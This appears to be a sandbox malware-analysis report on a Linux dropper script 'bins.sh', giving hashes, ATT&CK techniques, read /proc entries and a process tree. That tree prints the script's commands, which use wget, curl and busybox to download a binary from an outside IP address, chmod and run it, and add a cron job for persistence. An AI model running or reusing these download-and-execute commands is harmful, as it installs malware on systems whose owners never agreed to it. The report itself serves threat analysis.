956b4f4c2b994b61a3f395db42c7eb576bbf306dc75d2f7c97cc02d71b0f2f23

Analysis

max time kernel
44s
max time network
118s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-11-2024 16:16

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General

Target

bins.sh
Size

10KB
MD5

534a73324bdffc21d98727b2f74568ce
SHA1

89685be31befce3ea973d79dacec145875bc5dbb
SHA256

956b4f4c2b994b61a3f395db42c7eb576bbf306dc75d2f7c97cc02d71b0f2f23
SHA512

7c07c3c58e7d98e393d7ba902a3e57df1a6d8c9b6e4b74f0c8d6ddb683032112bb4b9af3b0d445f83ef69cb76438d236bcc6fe107738c3e1e5fb2b95638b11c1
SSDEEP

192:kd9bUApimONfVQbfBVvKaIyOfmmEhDe5BVvKa6dmmEhAd9bUAdimONfVp:kd9bUADbfBVvKaIyOfmmEhDe5BVvKa6S

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1518	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	1519	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Renames itself 1 IoCs

pid	Process
1520	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.RiHuo0	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1606/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/31/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/79/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1361/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1568/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1584/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/98/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/497/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1339/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1533/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1596/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/28/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/82/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1542/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1586/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1567/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/17/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/328/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/610/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1169/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1234/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1496/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1556/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1609/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1630/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/7/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/89/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1529/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1530/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1565/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/180/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1018/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1303/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1571/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/699/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1539/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1643/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1023/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1623/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/4/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/27/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/491/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/658/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/769/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/177/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1235/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1553/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1593/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1619/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1073/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1181/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1481/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1534/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1548/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1103/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1143/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1607/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/19/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/25/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/176/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/506/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1070/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1639/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1602/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	curl
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	busybox
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1502
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1503
- /usr/bin/wget
  wget http://216.126.231.240/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:1504
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod 777 C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  ./C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1519
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1521
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1522
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1523
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1524
- /bin/rm
  rm C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://216.126.231.240/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  PID:1529

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.RiHuo0

Filesize
210B

MD5
8f7e42c0dbe6b889fca833abfd30c329

SHA1
d1e844b45f6770d82af0bea881298bc99fea08e9

SHA256
47ffb72aada99481a24c77254dfc538e2bf4070173037c7a432ba37e495953a3

SHA512
af68a6fca2a7b303418f7d2d26d8dc1e93112b0d492825634e96d134fc5e7be53428fc0ad0df4b9e49752a5d3c9c4410860598d14f9c9f0767034f6bb53dc4e5

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads